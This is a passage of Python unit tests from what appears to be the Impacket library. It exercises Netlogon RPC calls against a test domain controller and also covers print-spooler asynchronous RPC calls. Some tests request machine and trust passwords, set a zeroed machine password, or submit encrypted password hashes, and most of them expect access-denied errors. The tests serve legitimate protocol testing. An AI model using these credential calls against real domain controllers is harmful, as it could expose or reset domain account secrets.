nrpc.ComputeNetlogonCredential(b'12345678', sessionKey)\n\n        request = nrpc.NetrServerAuthenticate2()\n        request['PrimaryName'] = self.serverName + '\\x00'\n        request['AccountName'] = self.machine_user + '\\x00'\n        request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel\n        request['ComputerName'] = self.machine_user + '\\x00'\n        request['ClientCredential'] = ppp\n        request['NegotiateFlags'] = 0x600FFFFF\n\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_NetrServerReqChallenge_NetrServerAuthenticate(self):\n        dce, rpctransport = self.connect()\n        request = nrpc.NetrServerReqChallenge()\n        request['PrimaryName'] = self.serverName + '\\x00'\n        request['ComputerName'] = self.machine_user + '\\x00'\n        request['ClientChallenge'] = b'12345678'\n\n        resp = dce.request(request)\n        resp.dump()\n        serverChallenge = resp['ServerChallenge']\n\n        bnthash = self.machine_user_bnthash or None\n        sessionKey = nrpc.ComputeSessionKeyStrongKey(self.password, b'12345678', serverChallenge, bnthash)\n\n        ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey)\n\n        request = nrpc.NetrServerAuthenticate()\n        request['PrimaryName'] = self.serverName + '\\x00'\n        request['AccountName'] = self.machine_user + '\\x00'\n        request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel\n        request['ComputerName'] = self.machine_user + '\\x00'\n        request['ClientCredential'] = ppp\n\n        try:\n            dce.request(request)\n        except DCERPCException as e:\n            if str(e).find('STATUS_DOWNGRADE_DETECTED') < 0:\n                raise\n\n    def test_hNetrServerReqChallenge_hNetrServerAuthenticate(self):\n        dce, rpctransport = self.connect()\n        resp = nrpc.hNetrServerReqChallenge(dce, self.serverName, self.machine_user, b'12345678')\n        resp.dump()\n        serverChallenge = resp['ServerChallenge']\n\n        bnthash = self.machine_user_bnthash or None\n        sessionKey = nrpc.ComputeSessionKeyStrongKey(self.password, b'12345678', serverChallenge, bnthash)\n\n        ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey)\n\n        resp.dump()\n        try:\n            nrpc.hNetrServerAuthenticate(dce, self.serverName, self.machine_user,\n                                         nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,\n                                         self.serverName, ppp)\n        except DCERPCException as e:\n            if str(e).find('STATUS_DOWNGRADE_DETECTED') < 0:\n                raise\n\n    @pytest.mark.xfail\n    def test_NetrServerPasswordGet(self):\n        dce, rpctransport = self.connect()\n        self.authenticate(dce)\n        request = nrpc.NetrServerPasswordGet()\n        request['PrimaryName'] = self.serverName + '\\x00'\n        request['AccountName'] = self.machine_user + '\\x00'\n        request['AccountType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel\n        request['ComputerName'] = self.machine_user + '\\x00'\n        request['Authenticator'] = self.update_authenticator()\n\n        try:\n            dce.request(request)\n        except DCERPCException as e:\n            # The caller is not a BDC\n            if str(e).find('STATUS_ACCESS_DENIED') < 0:\n                raise\n\n    @pytest.mark.xfail\n    def test_hNetrServerPasswordGet(self):\n        dce, rpctransport = self.connect()\n        self.authenticate(dce)\n\n        try:\n            nrpc.hNetrServerPasswordGet(dce, self.serverName, self.machine_user,\n                                        nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,\n                                        self.machine_user, self.update_authenticator())\n        except DCERPCException as e:\n            # The caller is not a DC or PDC\n            if str(e).find('STATUS_ACCESS_DENIED') < 0:\n                raise\n\n    @pytest.mark.xfail\n    def test_NetrServerTrustPasswordsGet(self):\n        dce, rpctransport = self.connect()\n        self.authenticate(dce)\n        request = nrpc.NetrServerTrustPasswordsGet()\n        request['TrustedDcName'] = self.serverName + '\\x00'\n        request['AccountName'] = self.machine_user + '\\x00'\n        request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel\n        request['ComputerName'] = self.machine_user + '\\x00'\n        request['Authenticator'] = self.update_authenticator()\n\n        resp = dce.request(request)\n        resp.dump()\n\n    @pytest.mark.xfail\n    def test_hNetrServerTrustPasswordsGet(self):\n        dce, rpctransport = self.connect()\n        self.authenticate(dce)\n        resp = nrpc.hNetrServerTrustPasswordsGet(dce, self.serverName, self.machine_user,\n                                                 nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,\n                                                 self.machine_user, self.update_authenticator())\n        resp.dump()\n\n    @pytest.mark.xfail\n    def test_NetrServerPasswordSet2(self):\n        # It doesn't do much, should throw STATUS_ACCESS_DENIED\n        dce, rpctransport = self.connect()\n        self.authenticate(dce)\n        request = nrpc.NetrServerPasswordSet2()\n        request['PrimaryName'] = self.serverName + '\\x00'\n        request['AccountName'] = self.machine_user + '\\x00'\n        request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel\n        request['ComputerName'] = self.machine_user + '\\x00'\n        request['Authenticator'] = self.update_authenticator()\n        cnp = nrpc.NL_TRUST_PASSWORD()\n        cnp['Buffer'] = b'\\x00'*512\n        cnp['Length'] = 0x8\n\n        request['ClearNewPassword'] = cnp.getData()\n        #request['ClearNewPassword'] = nrpc.NL_TRUST_PASSWORD()\n        #request['ClearNewPassword']['Buffer'] = b'\\x00' *512\n        #request['ClearNewPassword']['Length'] = 0x8\n        request.dump()\n\n        try:\n            dce.request(request)\n        except DCERPCException as e:\n            # The caller is not a DC or a PDC\n            if str(e).find('STATUS_ACCESS_DENIED') < 0:\n                raise\n\n    @pytest.mark.xfail\n    def test_hNetrServerPasswordSet2(self):\n        # It doesn't do much, should throw STATUS_ACCESS_DENIED\n        dce, rpctransport = self.connect()\n        self.authenticate(dce)\n        cnp = nrpc.NL_TRUST_PASSWORD()\n        cnp['Buffer'] = b'\\x00'*512\n        cnp['Length'] = 0x8\n\n        try:\n            nrpc.hNetrServerPasswordSet2(dce, self.serverName, self.machine_user,\n                                         nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,\n                                         self.machine_user, self.update_authenticator(), cnp.getData())\n        except DCERPCException as e:\n            # The caller is not a DC or PDC\n            if str(e).find('STATUS_ACCESS_DENIED') < 0:\n                raise\n\n    @pytest.mark.xfail\n    def test_NetrLogonGetDomainInfo(self):\n        dce, rpctransport = self.connect()\n        self.authenticate(dce)\n        request = nrpc.NetrLogonGetDomainInfo()\n        request['ServerName'] = self.serverName + '\\x00'\n        request['ComputerName'] = self.machine_user + '\\x00'\n        request['Authenticator'] = self.update_authenticator()\n        request['ReturnAuthenticator']['Credential'] = b'\\x00' * 8\n        request['ReturnAuthenticator']['Timestamp'] = 0\n        request['Level'] = 1\n        request['WkstaBuffer']['tag'] = 1\n        request['WkstaBuffer']['WorkstationInfo']['DnsHostName'] = NULL\n        request['WkstaBuffer']['WorkstationInfo']['SiteName'] = NULL\n        request['WkstaBuffer']['WorkstationInfo']['OsName'] = ''\n        request['WkstaBuffer']['WorkstationInfo']['Dummy1'] = NULL\n        request['WkstaBuffer']['WorkstationInfo']['Dummy2'] = NULL\n        request['WkstaBuffer']['WorkstationInfo']['Dummy3'] = NULL\n        request['WkstaBuffer']['WorkstationInfo']['Dummy4'] = NULL\n        resp = dce.request(request)\n        resp.dump()\n\n    @pytest.mark.xfail\n    def test_hNetrLogonGetDomainInfo(self):\n        dce, rpctransport = self.connect()\n        self.authenticate(dce)\n        resp = nrpc.hNetrLogonGetDomainInfo(dce, self.serverName, self.machine_user, self.update_authenticator(), 0, 1)\n        resp.dump()\n\n    @pytest.mark.xfail\n    def test_NetrLogonGetCapabilities(self):\n        dce, rpctransport = self.connect()\n        self.authenticate(dce)\n        request = nrpc.NetrLogonGetCapabilities()\n        request['ServerName'] = self.serverName + '\\x00'\n        request['ComputerName'] = self.machine_user + '\\x00'\n        request['Authenticator'] = self.update_authenticator()\n        request['ReturnAuthenticator']['Credential'] = b'\\x00' * 8\n        request['ReturnAuthenticator']['Timestamp'] = 0\n        request['QueryLevel'] = 1\n        resp = dce.request(request)\n        resp.dump()\n\n    @pytest.mark.xfail\n    def test_hNetrLogonGetCapabilities(self):\n        dce, rpctransport = self.connect()\n        self.authenticate(dce)\n        resp = nrpc.hNetrLogonGetCapabilities(dce, self.serverName, self.machine_user, self.update_authenticator(),\n                                              0)\n        resp.dump()\n\n    def test_NetrLogonSamLogonEx(self):\n        dce, rpctransport = self.connect()\n        self.authenticate(dce)\n        request = nrpc.NetrLogonSamLogonEx()\n        request['LogonServer'] = self.serverName + '\\x00'\n        request['ComputerName'] = self.machine_user + '\\x00'\n        request['LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonInteractiveInformation\n        request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonInteractiveInformation\n        request['LogonInformation']['LogonInteractive']['Identity']['LogonDomainName'] = self.domain\n        request['LogonInformation']['LogonInteractive']['Identity'][\n            'ParameterControl'] = 2 + 2 ** 14 + 2 ** 7 + 2 ** 9 + 2 ** 5 + 2 ** 11\n        request['LogonInformation']['LogonInteractive']['Identity']['UserName'] = self.username\n        request['LogonInformation']['LogonInteractive']['Identity']['Workstation'] = ''\n\n        if len(self.hashes):\n            blmhash = self.blmhash\n            bnthash = self.bnthash\n        else:\n            blmhash = ntlm.LMOWFv1(self.password)\n            bnthash = ntlm.NTOWFv1(self.password)\n        try:\n            from Cryptodome.Cipher import ARC4\n        except Exception:\n            print(\"Warning: You don't have any crypto installed. You need pycryptodomex\")\n            print(\"See https://pypi.org/project/pycryptodomex/\")\n\n        rc4 = ARC4.new(self.sessionKey)\n        blmhash = rc4.encrypt(blmhash)\n        rc4 = ARC4.new(self.sessionKey)\n        bnthash = rc4.encrypt(bnthash)\n\n        request['LogonInformation']['LogonInteractive']['LmOwfPassword'] = blmhash\n        request['LogonInformation']['LogonInteractive']['NtOwfPassword'] = bnthash\n        request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4\n        request['ExtraFlags'] = 1\n\n        try:\n            dce.request(request)\n        except DCERPCException as e:\n            if str(e).find('STATUS_INTERNAL_ERROR') < 0:\n                raise\n\n    @pytest.mark.xfail\n    def test_NetrLogonSamLogonWithFlags(self):\n        dce, rpctransport = self.connect()\n        self.authenticate(dce)\n        request = nrpc.NetrLogonSamLogonWithFlags()\n        request['LogonServer'] = self.serverName + '\\x00'\n        request['ComputerName'] = self.machine_user + '\\x00'\n        request['LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonInteractiveInformation\n        request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonInteractiveInformation\n        request['LogonInformation']['LogonInteractive']['Identity']['LogonDomainName'] = self.domain\n        request['LogonInformation']['LogonInteractive']['Identity']['ParameterControl'] = 2 + 2 ** 14 + 2 ** 7 + 2 ** 9 + 2 ** 5 + 2 ** 11\n        request['LogonInformation']['LogonInteractive']['Identity']['UserName'] = self.username\n        request['LogonInformation']['LogonInteractive']['Identity']['Workstation'] = ''\n        if len(self.hashes):\n            blmhash = self.blmhash\n            bnthash = self.bnthash\n        else:\n            blmhash = ntlm.LMOWFv1(self.password)\n            bnthash = ntlm.NTOWFv1(self.password)\n\n        try:\n            from Cryptodome.Cipher import ARC4\n        except Exception:\n            print(\"Warning: You don't have any crypto installed. You need pycryptodomex\")\n            print(\"See https://pypi.org/project/pycryptodomex/\")\n\n        rc4 = ARC4.new(self.sessionKey)\n        blmhash = rc4.encrypt(blmhash)\n        rc4 = ARC4.new(self.sessionKey)\n        bnthash = rc4.encrypt(bnthash)\n\n        request['LogonInformation']['LogonInteractive']['LmOwfPassword'] = blmhash\n        request['LogonInformation']['LogonInteractive']['NtOwfPassword'] = bnthash\n        request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4\n        request['Authenticator'] = self.update_authenticator()\n        request['ReturnAuthenticator']['Credential'] = b'\\x00' * 8\n        request['ReturnAuthenticator']['Timestamp'] = 0\n        request['ExtraFlags'] = 0\n\n        try:\n            dce.request(request)\n        except DCERPCException as e:\n            if str(e).find('STATUS_NO_SUCH_USER') < 0:\n                raise\n\n    @pytest.mark.xfail\n    def test_NetrLogonSamLogon(self):\n        dce, rpctransport = self.connect()\n        self.authenticate(dce)\n        request = nrpc.NetrLogonSamLogon()\n        request['LogonServer'] = self.serverName + '\\x00'\n        request['ComputerName'] = self.machine_user + '\\x00'\n        request['LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonInteractiveInformation\n        request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonInteractiveInformation\n        request['LogonInformation']['LogonInteractive']['Identity']['LogonDomainName'] = self.domain\n        request['LogonInformation']['LogonInteractive']['Identity']['ParameterControl'] = 2\n        request['LogonInformation']['LogonInteractive']['Identity']['UserName'] = self.username\n        request['LogonInformation']['LogonInteractive']['Identity']['Workstation'] = ''\n        if len(self.hashes):\n            blmhash = self.blmhash\n            bnthash = self.bnthash\n        else:\n            blmhash = ntlm.LMOWFv1(self.password)\n            bnthash = ntlm.NTOWFv1(self.password)\n\n        try:\n            from Cryptodome.Cipher import ARC4\n        except Exception:\n            print(\"Warning: You don't have any crypto installed. You need PyCrypto\")\n            print(\"See http://www.pycrypto.org/\")\n\n        rc4 = ARC4.new(self.sessionKey)\n        blmhash = rc4.encrypt(blmhash)\n        rc4 = ARC4.new(self.sessionKey)\n        bnthash = rc4.encrypt(bnthash)\n\n        request['LogonInformation']['LogonInteractive']['LmOwfPassword'] = blmhash\n        request['LogonInformation']['LogonInteractive']['NtOwfPassword'] = bnthash\n        request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo2\n        request['Authenticator'] = self.update_authenticator()\n        request['ReturnAuthenticator']['Credential'] = b'\\x00' * 8\n        request['ReturnAuthenticator']['Timestamp'] = 0\n\n        try:\n            dce.request(request)\n        except DCERPCException as e:\n            if str(e).find('STATUS_NO_SUCH_USER') < 0:\n                raise\n\n    @pytest.mark.xfail\n    def test_NetrDatabaseDeltas(self):\n        dce, rpctransport = self.connect()\n        self.authenticate(dce)\n        request = nrpc.NetrDatabaseDeltas()\n        request['PrimaryName'] = self.serverName + '\\x00'\n        request['ComputerName'] = self.machine_user + '\\x00'\n        request['Authenticator'] = self.update_authenticator()\n        request['ReturnAuthenticator']['Credential'] = b'\\x00' * 8\n        request['ReturnAuthenticator']['Timestamp'] = 0\n        request['DatabaseID'] = 0\n        # request['DomainModifiedCount'] = 1\n        request['PreferredMaximumLength'] = 0xffffffff\n\n        try:\n            dce.request(request)\n        except DCERPCException as e:\n            if str(e).find('STATUS_NOT_SUPPORTED') < 0:\n                raise\n\n    @pytest.mark.xfail\n    def test_NetrDatabaseSync2(self):\n        dce, rpctransport = self.connect()\n        self.authenticate(dce)\n        request = nrpc.NetrDatabaseSync2()\n        request['PrimaryName'] = self.serverName + '\\x00'\n        request['ComputerName'] = self.machine_user + '\\x00'\n        request['Authenticator'] = self.update_authenticator()\n        request['ReturnAuthenticator']['Credential'] = b'\\x00' * 8\n        request['ReturnAuthenticator']['Timestamp'] = 0\n        request['DatabaseID'] = 0\n        request['RestartState'] = nrpc.SYNC_STATE.NormalState\n        request['SyncContext'] = 0\n        request['PreferredMaximumLength'] = 0xffffffff\n\n        try:\n            dce.request(request)\n        except DCERPCException as e:\n            if str(e).find('STATUS_NOT_SUPPORTED') < 0:\n                raise\n\n    @pytest.mark.xfail\n    def test_NetrDatabaseSync(self):\n        dce, rpctransport = self.connect()\n        self.authenticate(dce)\n        request = nrpc.NetrDatabaseSync()\n        request['PrimaryName'] = self.serverName + '\\x00'\n        request['ComputerName'] = self.machine_user + '\\x00'\n        request['Authenticator'] = self.update_authenticator()\n        request['ReturnAuthenticator']['Credential'] = b'\\x00' * 8\n        request['ReturnAuthenticator']['Timestamp'] = 0\n        request['DatabaseID'] = 0\n        request['SyncContext'] = 0\n        request['PreferredMaximumLength'] = 0xffffffff\n\n        try:\n            dce.request(request)\n        except DCERPCException as e:\n            if str(e).find('STATUS_NOT_SUPPORTED') < 0:\n                raise\n\n    @pytest.mark.xfail\n    def test_NetrDatabaseRedo(self):\n        dce, rpctransport = self.connect()\n        self.authenticate(dce)\n        request = nrpc.NetrDatabaseRedo()\n        request['PrimaryName'] = self.serverName + '\\x00'\n        request['ComputerName'] = self.machine_user + '\\x00'\n        request['Authenticator'] = self.update_authenticator()\n        request['ReturnAuthenticator']['Credential'] = b'\\x00' * 8\n        request['ReturnAuthenticator']['Timestamp'] = 0\n        request['ChangeLogEntry'] = NULL\n        request['ChangeLogEntrySize'] = 0\n\n        try:\n            dce.request(request)\n        except DCERPCException as e:\n            # The caller is not a BDC\n            if str(e).find('STATUS_NOT_SUPPORTED') < 0:\n                raise\n\n    def test_DsrEnumerateDomainTrusts(self):\n        dce, rpctransport = self.connect()\n        request = nrpc.DsrEnumerateDomainTrusts()\n        request['ServerName'] = self.serverName + '\\x00'\n        request['Flags'] = 1\n\n        try:\n            dce.request(request)\n        except DCERPCException as e:\n            if str(e).find('STATUS_NOT_SUPPORTED') < 0:\n                raise\n\n    def test_NetrEnumerateTrustedDomainsEx(self):\n        dce, rpctransport = self.connect()\n        request = nrpc.NetrEnumerateTrustedDomainsEx()\n        request['ServerName'] = NULL\n\n        try:\n            dce.request(request)\n        except DCERPCException as e:\n            if str(e).find('STATUS_NOT_SUPPORTED') < 0:\n                raise\n\n    def test_NetrEnumerateTrustedDomains(self):\n        dce, rpctransport = self.connect()\n        request = nrpc.NetrEnumerateTrustedDomains()\n        request['ServerName'] = NULL\n\n        try:\n            dce.request(request)\n        except DCERPCException as e:\n            if str(e).find('STATUS_NOT_SUPPORTED') < 0:\n                raise\n\n    @pytest.mark.xfail\n    def test_NetrGetForestTrustInformation(self):\n        dce, rpctransport = self.connect()\n        self.authenticate(dce)\n        request = nrpc.NetrGetForestTrustInformation()\n        request['ServerName'] = self.serverName + '\\x00'\n        request['ComputerName'] = self.machine_user + '\\x00'\n        request['Authenticator'] = self.update_authenticator()\n        request['ReturnAuthenticator']['Credential'] = b'\\x00' * 8\n        request['ReturnAuthenticator']['Timestamp'] = 0\n        request['Flags'] = 0\n\n        try:\n            dce.request(request)\n        except DCERPCException as e:\n            # The caller is not a DC in a different domain\n            if str(e).find('STATUS_NOT_IMPLEMENTED') < 0 and str(e).find('STATUS_ACCESS_DENIED')< 0:\n                raise\n\n    def test_DsrGetForestTrustInformation(self):\n        dce, rpctransport = self.connect()\n        request = nrpc.DsrGetForestTrustInformation()\n        request['ServerName'] = self.serverName + '\\x00'\n        request['TrustedDomainName'] = self.domain + '\\x00'\n        request['Flags'] = 0\n\n        try:\n            dce.request(request)\n        except DCERPCException as e:\n            # The client doesn't have sufficient privilege with the Access Request mask set to NETLOGON_FTINFO_ACCESS?\n            if str(e).find('ERROR_NO_SUCH_DOMAIN') < 0 and str(e).find('rpc_s_access_denied') < 0:\n                raise\n\n    @pytest.mark.xfail\n    def test_NetrServerGetTrustInfo(self):\n        dce, rpctransport = self.connect()\n        self.authenticate(dce)\n        request = nrpc.NetrServerGetTrustInfo()\n        request['TrustedDcName'] = self.serverName + '\\x00'\n        request['AccountName'] = self.machine_user + '\\x00'\n        request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel\n        request['ComputerName'] = self.machine_user + '\\x00'\n        request['Authenticator'] = self.update_authenticator()\n\n        try:\n            dce.request(request)\n        except DCERPCException as e:\n            if str(e).find('ERROR_NO_SUCH_DOMAIN') < 0:\n                raise\n\n    @pytest.mark.xfail\n    def test_hNetrServerGetTrustInfo(self):\n        dce, rpctransport = self.connect()\n        self.authenticate(dce)\n\n        try:\n            nrpc.hNetrServerGetTrustInfo(dce, self.serverName, self.machine_user,\n                                         nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,\n                                         self.machine_user, self.update_authenticator())\n        except DCERPCException as e:\n            if str(e).find('ERROR_NO_SUCH_DOMAIN') < 0:\n                raise\n\n    def test_NetrLogonGetTrustRid(self):\n        dce, rpctransport = self.connect()\n        request = nrpc.NetrLogonGetTrustRid()\n        request['ServerName'] = NULL\n        request['DomainName'] = self.domain + '\\x00'\n\n        try:\n            dce.request(request)\n        except DCERPCException as e:\n            # The client doesn't have sufficient privilege with the Access Request mask set to NETLOGON_SERVICE_ACCESS?\n            if str(e).find('rpc_s_access_denied') < 0:\n                raise\n\n    def test_NetrLogonComputeServerDigest(self):\n        dce, rpctransport = self.connect()\n        request = nrpc.NetrLogonComputeServerDigest()\n        request['ServerName'] = NULL\n        #TODO: get the RID of the server\n        request['Rid'] = 1001\n        request['Message'] = b'HOLABETOCOMOANDAS\\x00'\n        request['MessageSize'] = len(b'HOLABETOCOMOANDAS\\x00')\n\n        try:\n            dce.request(request)\n        except DCERPCException as e:\n            if str(e).find('rpc_s_access_denied') < 0:\n                raise\n\n    def test_NetrLogonComputeClientDigest(self):\n        dce, rpctransport = self.connect()\n        request = nrpc.NetrLogonComputeClientDigest()\n        request['ServerName'] = NULL\n        request['DomainName'] = self.domain + '\\x00'\n        request['Message'] = b'HOLABETOCOMOANDAS\\x00'\n        request['MessageSize'] = len(request['Message'])\n\n        try:\n            dce.request(request)\n        except DCERPCException as e:\n            if str(e).find('rpc_s_access_denied') < 0:\n                raise\n\n    @pytest.mark.xfail\n    def test_NetrLogonSendToSam(self):\n        dce, rpctransport = self.connect()\n        self.authenticate(dce)\n        request = nrpc.NetrLogonSendToSam()\n        request['PrimaryName'] = self.serverName + '\\x00'\n        request['ComputerName'] = self.machine_user + '\\x00'\n        request['Authenticator'] = self.update_authenticator()\n        request['OpaqueBuffer'] = b'HOLABETOCOMOANDAS\\x00'\n        request['OpaqueBufferSize'] = len(b'HOLABETOCOMOANDAS\\x00')\n\n        try:\n            dce.request(request)\n        except DCERPCException as e:\n            # The caller is not a BDC or RODC\n            if str(e).find('STATUS_ACCESS_DENIED') < 0:\n                raise\n\n    def test_NetrLogonSetServiceBits(self):\n        dce, rpctransport = self.connect()\n        request = nrpc.NetrLogonSetServiceBits()\n        request['ServerName'] = NULL\n        request['ServiceBitsOfInterest'] = 1 << 7\n        request['ServiceBits'] = 1 << 7\n\n        try:\n            dce.request(request)\n        except DCERPCException as e:\n            # The caller is not local.\n            if str(e).find('rpc_s_access_denied') < 0:\n                raise\n\n    def test_NetrLogonGetTimeServiceParentDomain(self):\n        dce, rpctransport = self.connect()\n        request = nrpc.NetrLogonGetTimeServiceParentDomain()\n        request['ServerName'] = self.serverName + '\\x00'\n\n        try:\n            dce.request(request)\n        except DCERPCException as e:\n            # ERROR_NO_SUCH_DOMAIN: The DC is at the root of the forest\n            if str(e).find('rpc_s_access_denied') < 0 and str(e).find('ERROR_NO_SUCH_DOMAIN') < 0:\n                raise\n\n    def test_NetrLogonControl2Ex(self):\n        dce, rpctransport = self.connect()\n        request = nrpc.NetrLogonControl2Ex()\n        request['ServerName'] = NULL\n        request['FunctionCode'] = nrpc.NETLOGON_CONTROL_FIND_USER\n        request['QueryLevel'] = 4\n        request['Data']['tag'] = 8\n        request['Data']['UserName'] = self.username + '\\x00'\n\n        try:\n            dce.request(request)\n        except DCERPCException as e:\n            # 0x8ad: Not implemented in SMB?\n            if str(e).find('rpc_s_access_denied') < 0 and str(e).find('0x8ad') < 0:\n                raise\n\n    def test_NetrLogonControl2(self):\n        dce, rpctransport = self.connect()\n        request = nrpc.NetrLogonControl2()\n        request['ServerName'] = NULL\n        request['FunctionCode'] = nrpc.NETLOGON_CONTROL_FIND_USER\n        request['QueryLevel'] = 4\n        request['Data']['tag'] = 8\n        request['Data']['UserName'] = self.username + '\\x00'\n\n        try:\n            dce.request(request)\n        except DCERPCException as e:\n            # 0x8ad: Not implemented in SMB?\n            if str(e).find('rpc_s_access_denied') < 0 and str(e).find('0x8ad') < 0:\n                raise\n\n    def test_NetrLogonControl(self):\n        dce, rpctransport = self.connect()\n        request = nrpc.NetrLogonControl()\n        request['ServerName'] = NULL\n        request['FunctionCode'] = nrpc.NETLOGON_CONTROL_QUERY\n        request['QueryLevel'] = 4\n        request['Data']['tag'] = 65534\n        request['Data']['DebugFlag'] = 1\n\n        try:\n            dce.request(request)\n        except DCERPCException as e:\n            if str(e).find('ERROR_INVALID_LEVEL') < 0:\n                raise\n\n    def test_NetrLogonUasLogon(self):\n        dce, rpctransport = self.connect()\n        request = nrpc.NetrLogonUasLogon()\n        request['ServerName'] = NULL\n        request['UserName'] = self.username + '\\x00'\n        request['Workstation'] = self.serverName + '\\x00'\n\n        try:\n            dce.request(request)\n        except DCERPCException as e:\n            if str(e).find('rpc_s_access_denied') < 0:\n                raise\n\n    def test_NetrLogonUasLogoff(self):\n        dce, rpctransport = self.connect()\n        request = nrpc.NetrLogonUasLogoff()\n        request['ServerName'] = NULL\n        request['UserName'] = self.username + '\\x00'\n        request['Workstation'] = self.serverName + '\\x00'\n\n        try:\n            dce.request(request)\n        except DCERPCException as e:\n            if str(e).find('rpc_s_access_denied') < 0:\n                raise\n\n\n@pytest.mark.remote\nclass NRPCTestsSMBTransport(NRPCTests, unittest.TestCase):\n    string_binding = r\"ncacn_np:{0.machine}[\\PIPE\\netlogon]\"\n    string_binding_formatting = DCERPCTests.STRING_BINDING_FORMATTING\n\n\n@pytest.mark.remote\nclass NRPCTestsTCPTransport(NRPCTests, unittest.TestCase):\n    protocol = \"ncacn_ip_tcp\"\n    string_binding_formatting = DCERPCTests.STRING_BINDING_MAPPER\n\n\n# Process command-line arguments.\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dcerpc/test_par.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Tested so far:\n#   (h)RpcAsyncEnumPrinters\n#   (h)RpcAsyncEnumPrinterDrivers\n#   (h)RpcAsyncGetPrinterDriverDirectory\n#\n# Not yet:\n#   (h)RpcAsyncOpenPrinter\n#   (h)RpcAsyncClosePrinter\n#   (h)RpcAsyncAddPrinterDriver\n#   RpcAsyncAddPrinter\n#\nimport pytest\nimport unittest\nfrom six import assertRaisesRegex\nfrom tests.dcerpc import DCERPCTests\n\nfrom impacket.dcerpc.v5 import par\nfrom impacket.dcerpc.v5.dtypes import NULL\nfrom impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY\n\n\nclass PARTests(DCERPCTests):\n    iface_uuid = par.MSRPC_UUID_PAR\n    string_binding_formatting = DCERPCTests.STRING_BINDING_MAPPER\n    authn = True\n    authn_level = RPC_C_AUTHN_LEVEL_PKT_PRIVACY\n\n    def test_RpcAsyncEnumPrinters(self):\n        dce, rpc_transport = self.connect()\n        request = par.RpcAsyncEnumPrinters()\n        request['Flags'] = 0\n        request['Name'] = NULL\n        request['pPrinterEnum'] = NULL\n        request['Level'] = 0\n        resp = dce.request(request, par.MSRPC_UUID_WINSPOOL)\n        resp.dump()\n\n    def test_hRpcAsyncEnumPrinters(self):\n        dce, rpc_transport = self.connect()\n        resp = par.hRpcAsyncEnumPrinters(dce, NULL)\n        resp.dump()\n\n    def test_RpcAsyncEnumPrinterDrivers(self):\n        dce, rpc_transport = self.connect()\n        request = par.RpcAsyncEnumPrinterDrivers()\n        request['pName'] = NULL\n        request['pEnvironment'] = NULL\n        request['Level'] = 1\n        request['pDrivers'] = NULL\n        request['cbBuf'] = 0\n        with assertRaisesRegex(self, par.DCERPCException, \"ERROR_INSUFFICIENT_BUFFER\"):\n            dce.request(request, par.MSRPC_UUID_WINSPOOL)\n\n    def test_hRpcAsyncEnumPrinterDrivers(self):\n        dce, rpc_transport = self.connect()\n        resp = par.hRpcAsyncEnumPrinterDrivers(dce, NULL, NULL, 1)\n        resp.dump()\n\n    def test_RpcAsyncGetPrinterDriverDirectory(self):\n        dce, rpc_transport = self.connect()\n        request = par.RpcAsyncGetPrinterDriverDirectory()\n        request['pName'] = NULL\n        request['pEnvironment'] = NULL\n        request['Level'] = 1\n        request['pDriverDirectory'] = NULL\n        request['cbBuf'] = 0\n        with assertRaisesRegex(self, par.DCERPCException, \"ERROR_INSUFFICIENT_BUFFER\"):\n            dce.request(request, par.MSRPC_UUID_WINSPOOL)\n\n    def test_hRpcAsyncGetPrinterDriverDirectory(self):\n        dce, rpc_transport = self.connect()\n        resp = par.hRpcAsyncGetPrinterDriverDirectory(dce, NULL, NULL, 1)\n        resp.dump()\n\n\n@pytest.mark.remote\nclass PARTestsTCPTransport(PARTests, unittest.TestCase):\n    protocol = \"ncacn_ip_tcp\"\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR\n\n\n@pytest.mark.remote\nclass PARTestsTCPTransport64(PARTests, unittest.TestCase):\n    protocol = \"ncacn_ip_tcp\"\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64\n\n\n# Process command-line arguments.\nif __name__ == \"__main__\":\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dcerpc/test_rprn.py",
